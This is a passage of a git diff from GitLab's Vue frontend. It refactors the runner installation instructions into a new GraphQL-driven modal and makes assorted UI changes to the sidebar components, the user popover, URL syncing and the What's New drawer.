- modalId: 'installation-instructions-modal',
- i18n: {
- installARunner: s__('Runners|Install a Runner'),
- architecture: s__('Runners|Architecture'),
- downloadInstallBinary: s__('Runners|Download and Install Binary'),
- downloadLatestBinary: s__('Runners|Download Latest Binary'),
- registerRunner: s__('Runners|Register Runner'),
- method: __('Method'),
- fetchError: s__('Runners|An error has occurred fetching instructions'),
- instructions: s__('Runners|Show Runner installation instructions'),
- copyInstructions: s__('Runners|Copy instructions'),
- },
- closeButton: {
- text: __('Close'),
- attributes: [{ variant: 'default' }],
- },
};
</script>
<template>
@@ -158,104 +34,10 @@ export default {
v-gl-modal-directive="$options.modalId"
class="gl-mt-4"
data-testid="show-modal-button"
+ @click="onClick"
>
- {{ $options.i18n.instructions }}
+ {{ $options.i18n.buttonText }}
</gl-button>
- <gl-modal
- :modal-id="$options.modalId"
- :title="$options.i18n.installARunner"
- :action-secondary="$options.closeButton"
- >
- <gl-alert v-if="showAlert" variant="danger" @dismiss="toggleAlert(false)">
- {{ $options.i18n.fetchError }}
- </gl-alert>
- <h5>{{ __('Environment') }}</h5>
- <gl-button-group class="gl-mb-5">
- <gl-button
- v-for="platform in platforms"
- :key="platform.name"
- data-testid="platform-button"
- @click="selectPlatform(platform.name)"
- >
- {{ platform.humanReadableName }}
- </gl-button>
- </gl-button-group>
- <template v-if="hasArchitecureList">
- <template v-if="isPlatformSelected">
- <h5>
- {{ $options.i18n.architecture }}
- </h5>
- <gl-dropdown class="gl-mb-5" :text="selectedArchitecture.name">
- <gl-dropdown-item
- v-for="architecture in selectedPlatformArchitectures"
- :key="architecture.name"
- data-testid="architecture-dropdown-item"
- @click="selectArchitecture(architecture)"
- >
- {{ architecture.name }}
- </gl-dropdown-item>
- </gl-dropdown>
- <div class="gl-display-flex gl-align-items-center gl-mb-5">
- <h5>{{ $options.i18n.downloadInstallBinary }}</h5>
- <gl-button
- class="gl-ml-auto"
- :href="selectedArchitecture.downloadLocation"
- download
- data-testid="binary-download-button"
- >
- {{ $options.i18n.downloadLatestBinary }}
- </gl-button>
- </div>
- </template>
- <template v-if="!instructionsEmpty">
- <div class="gl-display-flex">
- <pre
- class="gl-bg-gray gl-flex-fill-1 gl-white-space-pre-line"
- data-testid="binary-instructions"
- >
-
- {{ instructions.installInstructions }}
- </pre
- >
- <modal-copy-button
- :title="$options.i18n.copyInstructions"
- :text="instructions.installInstructions"
- :modal-id="$options.modalId"
- css-classes="gl-align-self-start gl-ml-2 gl-mt-2"
- category="tertiary"
- />
- </div>
-
- <hr />
- <h5 class="gl-mb-5">{{ $options.i18n.registerRunner }}</h5>
- <h5 class="gl-mb-5">{{ $options.i18n.method }}</h5>
- <div class="gl-display-flex">
- <pre
- class="gl-bg-gray gl-flex-fill-1 gl-white-space-pre-line"
- data-testid="runner-instructions"
- >
- {{ instructions.registerInstructions }}
- </pre
- >
- <modal-copy-button
- :title="$options.i18n.copyInstructions"
- :text="instructions.registerInstructions"
- :modal-id="$options.modalId"
- css-classes="gl-align-self-start gl-ml-2 gl-mt-2"
- category="tertiary"
- />
- </div>
- </template>
- </template>
- <template v-else>
- <div>
- <p>{{ instructionsWithoutArchitecture }}</p>
- <gl-button :href="runnerInstallationLink">
- <gl-icon name="external-link" />
- {{ s__('Runners|View installation instructions') }}
- </gl-button>
- </div>
- </template>
- </gl-modal>
+ <runner-instructions-modal v-if="opened" :modal-id="$options.modalId" />
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue b/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue
new file mode 100644
index 00000000000..795b4f58ac5
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue
@@ -0,0 +1,249 @@
+<script>
+import {
+ GlAlert,
+ GlButton,
+ GlModal,
+ GlButtonGroup,
+ GlDropdown,
+ GlDropdownItem,
+ GlIcon,
+ GlLoadingIcon,
+ GlSkeletonLoader,
+} from '@gitlab/ui';
+import { isEmpty } from 'lodash';
+import { __, s__ } from '~/locale';
+import ModalCopyButton from '~/vue_shared/components/modal_copy_button.vue';
+import {
+ PLATFORMS_WITHOUT_ARCHITECTURES,
+ INSTRUCTIONS_PLATFORMS_WITHOUT_ARCHITECTURES,
+} from './constants';
+import getRunnerPlatformsQuery from './graphql/queries/get_runner_platforms.query.graphql';
+import getRunnerSetupInstructionsQuery from './graphql/queries/get_runner_setup.query.graphql';
+
+export default {
+ components: {
+ GlAlert,
+ GlButton,
+ GlButtonGroup,
+ GlDropdown,
+ GlDropdownItem,
+ GlModal,
+ GlIcon,
+ GlLoadingIcon,
+ GlSkeletonLoader,
+ ModalCopyButton,
+ },
+ props: {
+ modalId: {
+ type: String,
+ required: true,
+ },
+ },
+ apollo: {
+ platforms: {
+ query: getRunnerPlatformsQuery,
+ update(data) {
+ return data?.runnerPlatforms?.nodes.map(({ name, humanReadableName, architectures }) => {
+ return {
+ name,
+ humanReadableName,
+ architectures: architectures?.nodes || [],
+ };
+ });
+ },
+ result() {
+ // Select first platform by default
+ if (this.platforms?.[0]) {
+ this.selectPlatform(this.platforms[0]);
+ }
+ },
+ error() {
+ this.toggleAlert(true);
+ },
+ },
+ instructions: {
+ query: getRunnerSetupInstructionsQuery,
+ skip() {
+ return !this.selectedPlatform;
+ },
+ variables() {
+ return {
+ platform: this.selectedPlatformName,
+ architecture: this.selectedArchitectureName || '',
+ };
+ },
+ update(data) {
+ return data?.runnerSetup;
+ },
+ error() {
+ this.toggleAlert(true);
+ },
+ },
+ },
+ data() {
+ return {
+ platforms: [],
+ selectedPlatform: null,
+ selectedArchitecture: null,
+ showAlert: false,
+ instructions: {},
+ };
+ },
+ computed: {
+ platformsEmpty() {
+ return isEmpty(this.platforms);
+ },
+ instructionsEmpty() {
+ return isEmpty(this.instructions);
+ },
+ selectedPlatformName() {
+ return this.selectedPlatform?.name;
+ },
+ selectedArchitectureName() {
+ return this.selectedArchitecture?.name;
+ },
+ hasArchitecureList() {
+ return !PLATFORMS_WITHOUT_ARCHITECTURES.includes(this.selectedPlatformName);
+ },
+ instructionsWithoutArchitecture() {
+ return INSTRUCTIONS_PLATFORMS_WITHOUT_ARCHITECTURES[this.selectedPlatformName]?.instructions;
+ },
+ runnerInstallationLink() {
+ return INSTRUCTIONS_PLATFORMS_WITHOUT_ARCHITECTURES[this.selectedPlatformName]?.link;
+ },
+ },
+ methods: {
+ selectPlatform(platform) {
+ this.selectedPlatform = platform;
+
+ if (!platform.architectures?.some(({ name }) => name === this.selectedArchitectureName)) {
+ // Select first architecture when current value is not available
+ this.selectArchitecture(platform.architectures[0]);
+ }
+ },
+ selectArchitecture(architecture) {
+ this.selectedArchitecture = architecture;
+ },
+ toggleAlert(state) {
+ this.showAlert = state;
+ },
+ },
+ i18n: {
+ installARunner: s__('Runners|Install a runner'),
+ architecture: s__('Runners|Architecture'),
+ downloadInstallBinary: s__('Runners|Download and install binary'),
+ downloadLatestBinary: s__('Runners|Download latest binary'),
+ registerRunnerCommand: s__('Runners|Command to register runner'),
+ fetchError: s__('Runners|An error has occurred fetching instructions'),
+ copyInstructions: s__('Runners|Copy instructions'),
+ },
+ closeButton: {
+ text: __('Close'),
+ attributes: [{ variant: 'default' }],
+ },
+};
+</script>
+<template>
+ <gl-modal
+ :modal-id="modalId"
+ :title="$options.i18n.installARunner"
+ :action-secondary="$options.closeButton"
+ >
+ <gl-alert v-if="showAlert" variant="danger" @dismiss="toggleAlert(false)">
+ {{ $options.i18n.fetchError }}
+ </gl-alert>
+
+ <gl-skeleton-loader v-if="platformsEmpty && $apollo.loading" />
+
+ <template v-if="!platformsEmpty">
+ <h5>
+ {{ __('Environment') }}
+ </h5>
+ <gl-button-group class="gl-mb-3">
+ <gl-button
+ v-for="platform in platforms"
+ :key="platform.name"
+ :selected="selectedPlatform && selectedPlatform.name === platform.name"
+ data-testid="platform-button"
+ @click="selectPlatform(platform)"
+ >
+ {{ platform.humanReadableName }}
+ </gl-button>
+ </gl-button-group>
+ </template>
+ <template v-if="hasArchitecureList">
+ <template v-if="selectedPlatform">
+ <h5>
+ {{ $options.i18n.architecture }}
+ <gl-loading-icon v-if="$apollo.loading" inline />
+ </h5>
+
+ <gl-dropdown class="gl-mb-3" :text="selectedArchitectureName">
+ <gl-dropdown-item
+ v-for="architecture in selectedPlatform.architectures"
+ :key="architecture.name"
+ :is-check-item="true"
+ :is-checked="selectedArchitectureName === architecture.name"
+ data-testid="architecture-dropdown-item"
+ @click="selectArchitecture(architecture)"
+ >
+ {{ architecture.name }}
+ </gl-dropdown-item>
+ </gl-dropdown>
+ <div class="gl-display-flex gl-align-items-center gl-mb-3">
+ <h5>{{ $options.i18n.downloadInstallBinary }}</h5>
+ <gl-button
+ class="gl-ml-auto"
+ :href="selectedArchitecture.downloadLocation"
+ download
+ icon="download"
+ data-testid="binary-download-button"
+ >
+ {{ $options.i18n.downloadLatestBinary }}
+ </gl-button>
+ </div>
+ </template>
+ <template v-if="!instructionsEmpty">
+ <div class="gl-display-flex">
+ <pre
+ class="gl-bg-gray gl-flex-fill-1 gl-white-space-pre-line"
+ data-testid="binary-instructions"
+ >{{ instructions.installInstructions }}</pre
+ >
+ <modal-copy-button
+ :title="$options.i18n.copyInstructions"
+ :text="instructions.installInstructions"
+ :modal-id="$options.modalId"
+ css-classes="gl-align-self-start gl-ml-2 gl-mt-2"
+ category="tertiary"
+ />
+ </div>
+
+ <h5 class="gl-mb-3">{{ $options.i18n.registerRunnerCommand }}</h5>
+ <div class="gl-display-flex">
+ <pre
+ class="gl-bg-gray gl-flex-fill-1 gl-white-space-pre-line"
+ data-testid="register-command"
+ >{{ instructions.registerInstructions }}</pre
+ >
+ <modal-copy-button
+ :title="$options.i18n.copyInstructions"
+ :text="instructions.registerInstructions"
+ :modal-id="$options.modalId"
+ css-classes="gl-align-self-start gl-ml-2 gl-mt-2"
+ category="tertiary"
+ />
+ </div>
+ </template>
+ </template>
+ <template v-else>
+ <div>
+ <p>{{ instructionsWithoutArchitecture }}</p>
+ <gl-button :href="runnerInstallationLink">
+ <gl-icon name="external-link" />
+ {{ s__('Runners|View installation instructions') }}
+ </gl-button>
+ </div>
+ </template>
+ </gl-modal>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/copyable_field.vue b/app/assets/javascripts/vue_shared/components/sidebar/copyable_field.vue
new file mode 100644
index 00000000000..bbc7e6e7a6e
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/copyable_field.vue
@@ -0,0 +1,88 @@
+<script>
+import { GlLoadingIcon } from '@gitlab/ui';
+import { s__, __, sprintf } from '~/locale';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+
+/**
+ * Renders an inline field, whose value can be copied to the clipboard,
+ * for use in the GitLab sidebar (issues, MRs, etc.).
+ */
+export default {
+ name: 'CopyableField',
+ components: {
+ GlLoadingIcon,
+ ClipboardButton,
+ },
+ props: {
+ value: {
+ type: String,
+ required: true,
+ },
+ name: {
+ type: String,
+ required: true,
+ },
+ isLoading: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ clipboardTooltipText: {
+ type: String,
+ required: false,
+ default: undefined,
+ },
+ },
+ computed: {
+ clipboardProps() {
+ return {
+ category: 'tertiary',
+ tooltipBoundary: 'viewport',
+ tooltipPlacement: 'left',
+ text: this.value,
+ title:
+ this.clipboardTooltipText ||
+ sprintf(this.$options.i18n.clipboardTooltip, { name: this.name }),
+ };
+ },
+ loadingIconLabel() {
+ return sprintf(this.$options.i18n.loadingIconLabel, { name: this.name });
+ },
+ templateText() {
+ return sprintf(this.$options.i18n.templateText, {
+ name: this.name,
+ value: this.value,
+ });
+ },
+ },
+ i18n: {
+ loadingIconLabel: __('Loading %{name}'),
+ clipboardTooltip: __('Copy %{name}'),
+ templateText: s__('Sidebar|%{name}: %{value}'),
+ },
+};
+</script>
+
+<template>
+ <div>
+ <clipboard-button
+ v-if="!isLoading"
+ css-class="sidebar-collapsed-icon dont-change-state gl-rounded-0! gl-hover-bg-transparent"
+ v-bind="clipboardProps"
+ />
+
+ <div
+ class="gl-display-flex gl-align-items-center gl-justify-content-space-between hide-collapsed"
+ >
+ <span
+ class="gl-overflow-hidden gl-text-overflow-ellipsis gl-white-space-nowrap"
+ :title="value"
+ >
+ {{ templateText }}
+ </span>
+
+ <gl-loading-icon v-if="isLoading" inline :label="loadingIconLabel" />
+ <clipboard-button v-else size="small" v-bind="clipboardProps" />
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/issuable_move_dropdown.vue b/app/assets/javascripts/vue_shared/components/sidebar/issuable_move_dropdown.vue
index 1d3bd312b09..320e2048f1c 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/issuable_move_dropdown.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/issuable_move_dropdown.vue
@@ -164,6 +164,7 @@ export default {
variant="link"
icon="close"
class="gl-mr-2 gl-w-auto! gl-p-2!"
+ :aria-label="__('Close')"
@click.prevent="handleDropdownCloseClick"
/>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
index 426ae430ce7..f547433f322 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
@@ -172,9 +172,11 @@ export default {
after: this.handleVuexActionDispatch,
});
+ document.addEventListener('mousedown', this.handleDocumentMousedown);
document.addEventListener('click', this.handleDocumentClick);
},
beforeDestroy() {
+ document.removeEventListener('mousedown', this.handleDocumentMousedown);
document.removeEventListener('click', this.handleDocumentClick);
},
methods: {
@@ -197,11 +199,36 @@ export default {
}
},
/**
+ * This method stores a mousedown event's target.
+ * Required by the click listener because the click
+ * event itself has no reference to this element.
+ */
+ handleDocumentMousedown({ target }) {
+ this.mousedownTarget = target;
+ },
+ /**
* This method listens for document-wide click event
* and toggle dropdown if user clicks anywhere outside
* the dropdown while dropdown is visible.
*/
handleDocumentClick({ target }) {
+ // We also perform the toggle exception check for the
+ // last mousedown event's target to avoid hiding the
+ // box when the mousedown happened inside the box and
+ // only the mouseup did not.
+ if (
+ this.showDropdownContents &&
+ !this.preventDropdownToggleOnClick(target) &&
+ !this.preventDropdownToggleOnClick(this.mousedownTarget)
+ ) {
+ this.toggleDropdownContents();
+ }
+ },
+ /**
+ * This method checks whether a given click target
+ * should prevent the dropdown from being toggled.
+ */
+ preventDropdownToggleOnClick(target) {
// This approach of element detection is needed
// as the dropdown wrapper is not using `GlDropdown` as
// it will also require us to use `BDropdownForm`
@@ -216,19 +243,20 @@ export default {
target?.parentElement?.classList.contains(className),
);
- const hadExceptionParent = ['.js-btn-back', '.js-labels-list'].some(
+ const hasExceptionParent = ['.js-btn-back', '.js-labels-list'].some(
(className) => $(target).parents(className).length,
);
- if (
- this.showDropdownContents &&
- !hadExceptionParent &&
- !hasExceptionClass &&
- !this.$refs.dropdownButtonCollapsed?.$el.contains(target) &&
- !this.$refs.dropdownContents?.$el.contains(target)
- ) {
- this.toggleDropdownContents();
- }
+ const isInDropdownButtonCollapsed = this.$refs.dropdownButtonCollapsed?.$el.contains(target);
+
+ const isInDropdownContents = this.$refs.dropdownContents?.$el.contains(target);
+
+ return (
+ hasExceptionClass ||
+ hasExceptionParent ||
+ isInDropdownButtonCollapsed ||
+ isInDropdownContents
+ );
},
handleDropdownClose(labels) {
// Only emit label updates if there are any labels to update
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/multiselect_dropdown.vue b/app/assets/javascripts/vue_shared/components/sidebar/multiselect_dropdown.vue
index ef5f052527b..17904f20341 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/multiselect_dropdown.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/multiselect_dropdown.vue
@@ -30,5 +30,8 @@ export default {
<gl-dropdown-form>
<slot name="items"></slot>
</gl-dropdown-form>
+ <template #footer>
+ <slot name="footer"></slot>
+ </template>
</gl-dropdown>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_participants.query.graphql b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_participants.query.graphql
index 459ea27e9cd..3885127fa8e 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_participants.query.graphql
+++ b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_participants.query.graphql
@@ -1,4 +1,5 @@
#import "~/graphql_shared/fragments/user.fragment.graphql"
+#import "~/graphql_shared/fragments/user_availability.fragment.graphql"
query issueParticipants($fullPath: ID!, $iid: String!) {
workspace: project(fullPath: $fullPath) {
@@ -9,11 +10,13 @@ query issueParticipants($fullPath: ID!, $iid: String!) {
participants {
nodes {
...User
+ ...UserAvailability
}
}
assignees {
nodes {
...User
+ ...UserAvailability
}
}
}
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_participants.query.graphql b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_participants.query.graphql
index 43bd9f17e9a..63482873b69 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_participants.query.graphql
+++ b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_participants.query.graphql
@@ -1,4 +1,5 @@
#import "~/graphql_shared/fragments/user.fragment.graphql"
+#import "~/graphql_shared/fragments/user_availability.fragment.graphql"
query getMrParticipants($fullPath: ID!, $iid: String!) {
workspace: project(fullPath: $fullPath) {
@@ -7,11 +8,13 @@ query getMrParticipants($fullPath: ID!, $iid: String!) {
participants {
nodes {
...User
+ ...UserAvailability
}
}
assignees {
nodes {
...User
+ ...UserAvailability
}
}
}
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/queries/update_issue_assignees.mutation.graphql b/app/assets/javascripts/vue_shared/components/sidebar/queries/update_issue_assignees.mutation.graphql
index 8ee8de2cb5c..3f40c0368d7 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/queries/update_issue_assignees.mutation.graphql
+++ b/app/assets/javascripts/vue_shared/components/sidebar/queries/update_issue_assignees.mutation.graphql
@@ -1,4 +1,5 @@
#import "~/graphql_shared/fragments/user.fragment.graphql"
+#import "~/graphql_shared/fragments/user_availability.fragment.graphql"
mutation issueSetAssignees($iid: String!, $assigneeUsernames: [String!]!, $fullPath: ID!) {
issuableSetAssignees: issueSetAssignees(
@@ -9,11 +10,13 @@ mutation issueSetAssignees($iid: String!, $assigneeUsernames: [String!]!, $fullP
assignees {
nodes {
...User
+ ...UserAvailability
}
}
participants {
nodes {
...User
+ ...UserAvailability
}
}
}
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/queries/update_mr_assignees.mutation.graphql b/app/assets/javascripts/vue_shared/components/sidebar/queries/update_mr_assignees.mutation.graphql
index a0f15a07692..77140ea36d8 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/queries/update_mr_assignees.mutation.graphql
+++ b/app/assets/javascripts/vue_shared/components/sidebar/queries/update_mr_assignees.mutation.graphql
@@ -1,4 +1,5 @@
#import "~/graphql_shared/fragments/user.fragment.graphql"
+#import "~/graphql_shared/fragments/user_availability.fragment.graphql"
mutation mergeRequestSetAssignees($iid: String!, $assigneeUsernames: [String!]!, $fullPath: ID!) {
mergeRequestSetAssignees(
@@ -9,11 +10,13 @@ mutation mergeRequestSetAssignees($iid: String!, $assigneeUsernames: [String!]!,
assignees {
nodes {
...User
+ ...UserAvailability
}
}
participants {
nodes {
...User
+ ...UserAvailability
}
}
}
diff --git a/app/assets/javascripts/vue_shared/components/url_sync.vue b/app/assets/javascripts/vue_shared/components/url_sync.vue
index 2844d9e9e94..925c6008836 100644
--- a/app/assets/javascripts/vue_shared/components/url_sync.vue
+++ b/app/assets/javascripts/vue_shared/components/url_sync.vue
@@ -2,11 +2,18 @@
import { historyPushState } from '~/lib/utils/common_utils';
import { mergeUrlParams } from '~/lib/utils/url_utility';
+/**
+ * Renderless component to update the query string,
+ * the update is done by updating the query property or
+ * by using updateQuery method in the scoped slot.
+ * note: do not use both prop and updateQuery method.
+ */
export default {
props: {
query: {
type: Object,
- required: true,
+ required: false,
+ default: null,
},
},
watch: {
@@ -14,12 +21,19 @@ export default {
immediate: true,
deep: true,
handler(newQuery) {
- historyPushState(mergeUrlParams(newQuery, window.location.href, { spreadArrays: true }));
+ if (newQuery) {
+ this.updateQuery(newQuery);
+ }
},
},
},
+ methods: {
+ updateQuery(newQuery) {
+ historyPushState(mergeUrlParams(newQuery, window.location.href, { spreadArrays: true }));
+ },
+ },
render() {
- return this.$slots.default;
+ return this.$scopedSlots.default?.({ updateQuery: this.updateQuery });
},
};
</script>
diff --git a/app/assets/javascripts/admin/users/components/user_date.vue b/app/assets/javascripts/vue_shared/components/user_date.vue
index 38dddbf72c2..38dddbf72c2 100644
--- a/app/assets/javascripts/admin/users/components/user_date.vue
+++ b/app/assets/javascripts/vue_shared/components/user_date.vue
diff --git a/app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue b/app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue
index dbd8efec948..11f484b2cdf 100644
--- a/app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue
+++ b/app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue
@@ -1,11 +1,6 @@
<script>
/* eslint-disable vue/no-v-html */
-import {
- GlPopover,
- GlLink,
- GlDeprecatedSkeletonLoading as GlSkeletonLoading,
- GlIcon,
-} from '@gitlab/ui';
+import { GlPopover, GlLink, GlSkeletonLoader, GlIcon } from '@gitlab/ui';
import UserNameWithStatus from '~/sidebar/components/assignees/user_name_with_status.vue';
import { glEmojiTag } from '../../../emoji';
import UserAvatarImage from '../user_avatar/user_avatar_image.vue';
@@ -19,7 +14,7 @@ export default {
GlIcon,
GlLink,
GlPopover,
- GlSkeletonLoading,
+ GlSkeletonLoader,
UserAvatarImage,
UserNameWithStatus,
},
@@ -60,20 +55,18 @@ export default {
<template>
<!-- 200ms delay so not every mouseover triggers Popover -->
- <gl-popover :target="target" :delay="200" boundary="viewport" triggers="hover" placement="top">
+ <gl-popover :target="target" :delay="200" boundary="viewport" placement="top">
<div class="gl-p-3 gl-line-height-normal gl-display-flex" data-testid="user-popover">
<div class="gl-p-2 flex-shrink-1">
<user-avatar-image :img-src="user.avatarUrl" :size="60" css-classes="gl-mr-3!" />
</div>
- <div class="gl-p-2 gl-w-full">
+ <div class="gl-p-2 gl-w-full gl-min-w-0">
<template v-if="userIsLoading">
- <!-- `gl-skeleton-loading` does not support equal length lines -->
- <!-- This can be migrated to `gl-skeleton-loader` when https://gitlab.com/gitlab-org/gitlab-ui/-/issues/872 is completed -->
- <gl-skeleton-loading
- v-for="n in $options.maxSkeletonLines"
- :key="n"
- :lines="1"
- class="animation-container-small gl-mb-2"
+ <gl-skeleton-loader
+ :lines="$options.maxSkeletonLines"
+ preserve-aspect-ratio="none"
+ equal-width-lines
+ :height="52"
/>
</template>
<template v-else>
diff --git a/app/assets/javascripts/vue_shared/constants.js b/app/assets/javascripts/vue_shared/constants.js
index 5262a15136b..9a5ad195de9 100644
--- a/app/assets/javascripts/vue_shared/constants.js
+++ b/app/assets/javascripts/vue_shared/constants.js
@@ -8,6 +8,8 @@ const INTERVALS = {
export const FILE_SYMLINK_MODE = '120000';
+export const SHORT_DATE_FORMAT = 'd mmm, yyyy';
+
export const timeRanges = [
{
label: __('30 minutes'),
diff --git a/app/assets/javascripts/vue_shared/mixins/recaptcha_modal_implementor.js b/app/assets/javascripts/vue_shared/mixins/recaptcha_modal_implementor.js
deleted file mode 100644
index ff1f565e79a..00000000000
--- a/app/assets/javascripts/vue_shared/mixins/recaptcha_modal_implementor.js
+++ /dev/null
@@ -1,36 +0,0 @@
-import recaptchaModal from '../components/recaptcha_modal.vue';
-
-export default {
- data() {
- return {
- showRecaptcha: false,
- recaptchaHTML: '',
- };
- },
-
- components: {
- recaptchaModal,
- },
-
- methods: {
- openRecaptcha() {
- this.showRecaptcha = true;
- },
-
- closeRecaptcha() {
- this.showRecaptcha = false;
- },
-
- checkForSpam(data) {
- if (!data.recaptcha_html) return data;
-
- this.recaptchaHTML = data.recaptcha_html;
-
- const spamError = new Error(data.error_message);
- spamError.name = 'SpamError';
- spamError.message = 'SpamError';
-
- throw spamError;
- },
- },
-};
diff --git a/app/assets/javascripts/vue_shared/security_reports/queries/security_report_download_paths.query.graphql b/app/assets/javascripts/vue_shared/security_reports/queries/security_report_download_paths.query.graphql
index 310d8d88904..4ce13827da2 100644
--- a/app/assets/javascripts/vue_shared/security_reports/queries/security_report_download_paths.query.graphql
+++ b/app/assets/javascripts/vue_shared/security_reports/queries/security_report_download_paths.query.graphql
@@ -6,6 +6,7 @@ query securityReportDownloadPaths(
project(fullPath: $projectPath) {
mergeRequest(iid: $iid) {
headPipeline {
+ id
jobs(securityReportTypes: $reportTypes) {
nodes {
name
diff --git a/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue b/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue
index b27dd33835f..1151cffa76f 100644
--- a/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue
+++ b/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue
@@ -184,6 +184,7 @@ export default {
:has-issues="false"
class="mr-widget-border-top mr-report"
data-testid="security-mr-widget"
+ track-action="users_expanding_secure_security_report"
>
<template v-for="slot in $options.summarySlots" #[slot]>
<span :key="slot">
@@ -212,6 +213,7 @@ export default {
:has-issues="false"
class="mr-widget-border-top mr-report"
data-testid="security-mr-widget"
+ track-action="users_expanding_secure_security_report"
>
<template #error>
{{ $options.i18n.scansHaveRun }}
diff --git a/app/assets/javascripts/whats_new/components/app.vue b/app/assets/javascripts/whats_new/components/app.vue
index f4ac4f81eac..4a387edbe3f 100644
--- a/app/assets/javascripts/whats_new/components/app.vue
+++ b/app/assets/javascripts/whats_new/components/app.vue
@@ -1,13 +1,5 @@
<script>
-import {
- GlDrawer,
- GlInfiniteScroll,
- GlResizeObserverDirective,
- GlTabs,
- GlTab,
- GlBadge,
- GlLoadingIcon,
-} from '@gitlab/ui';
+import { GlDrawer, GlInfiniteScroll, GlResizeObserverDirective } from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
import Tracking from '~/tracking';
import { getDrawerBodyHeight } from '../utils/get_drawer_body_height';
@@ -20,37 +12,24 @@ export default {
components: {
GlDrawer,
GlInfiniteScroll,
- GlTabs,
- GlTab,
SkeletonLoader,
Feature,
- GlBadge,
- GlLoadingIcon,
},
directives: {
GlResizeObserver: GlResizeObserverDirective,
},
mixins: [trackingMixin],
props: {
- storageKey: {
+ versionDigest: {
type: String,
required: true,
},
- versions: {
- type: Array,
- required: true,
- },
- gitlabDotCom: {
- type: Boolean,
- required: false,
- default: false,
- },
},
computed: {
...mapState(['open', 'features', 'pageInfo', 'drawerBodyHeight', 'fetching']),
},
mounted() {
- this.openDrawer(this.storageKey);
+ this.openDrawer(this.versionDigest);
this.fetchItems();
const body = document.querySelector('body');
@@ -70,16 +49,6 @@ export default {
const height = getDrawerBodyHeight(this.$refs.drawer.$el);
this.setDrawerBodyHeight(height);
},
- featuresForVersion(version) {
- return this.features.filter((feature) => {
- return feature.release === parseFloat(version);
- });
- },
- fetchVersion(version) {
- if (this.featuresForVersion(version).length === 0) {
- this.fetchItems({ version });
- }
- },
},
};
</script>
@@ -99,7 +68,6 @@ export default {
</template>
<template v-if="features.length">
<gl-infinite-scroll
- v-if="gitlabDotCom"
:fetched-items="features.length"
:max-list-height="drawerBodyHeight"
class="gl-p-0"
@@ -109,26 +77,6 @@ export default {
<feature v-for="feature in features" :key="feature.title" :feature="feature" />
</template>
</gl-infinite-scroll>
- <gl-tabs v-else :style="{ height: `${drawerBodyHeight}px` }" class="gl-p-0">
- <gl-tab
- v-for="(version, index) in versions"
- :key="version"
- @click="fetchVersion(version)"
- >
- <template #title>
- <span>{{ version }}</span>
- <gl-badge v-if="index === 0">{{ __('Your Version') }}</gl-badge>
- </template>
- <gl-loading-icon v-if="fetching" size="lg" class="text-center" />
- <template v-else>
- <feature
- v-for="feature in featuresForVersion(version)"
- :key="feature.title"
- :feature="feature"
- />
- </template>
- </gl-tab>
- </gl-tabs>
</template>
<div v-else class="gl-mt-5">
<skeleton-loader />
diff --git a/app/assets/javascripts/whats_new/index.js b/app/assets/javascripts/whats_new/index.js
index 6da141cb19a..3ac3a3a3611 100644
--- a/app/assets/javascripts/whats_new/index.js
+++ b/app/assets/javascripts/whats_new/index.js
@@ -2,7 +2,7 @@ import Vue from 'vue';
import { mapState } from 'vuex';
import App from './components/app.vue';
import store from './store';
-import { getStorageKey, setNotification } from './utils/notification';
+import { getVersionDigest, setNotification } from './utils/notification';
let whatsNewApp;
@@ -27,9 +27,7 @@ export default (el) => {
render(createElement) {
return createElement('app', {
props: {
- storageKey: getStorageKey(el),
- versions: JSON.parse(el.getAttribute('data-versions')),
- gitlabDotCom: el.getAttribute('data-gitlab-dot-com'),
+ versionDigest: getVersionDigest(el),
},
});
},
diff --git a/app/assets/javascripts/whats_new/store/actions.js b/app/assets/javascripts/whats_new/store/actions.js
index 4b3cfa55977..1dc92ea2606 100644
--- a/app/assets/javascripts/whats_new/store/actions.js
+++ b/app/assets/javascripts/whats_new/store/actions.js
@@ -1,19 +1,20 @@
import axios from '~/lib/utils/axios_utils';
import { parseIntPagination, normalizeHeaders } from '~/lib/utils/common_utils';
+import { STORAGE_KEY } from '../utils/notification';
import * as types from './mutation_types';
export default {
closeDrawer({ commit }) {
commit(types.CLOSE_DRAWER);
},
- openDrawer({ commit }, storageKey) {
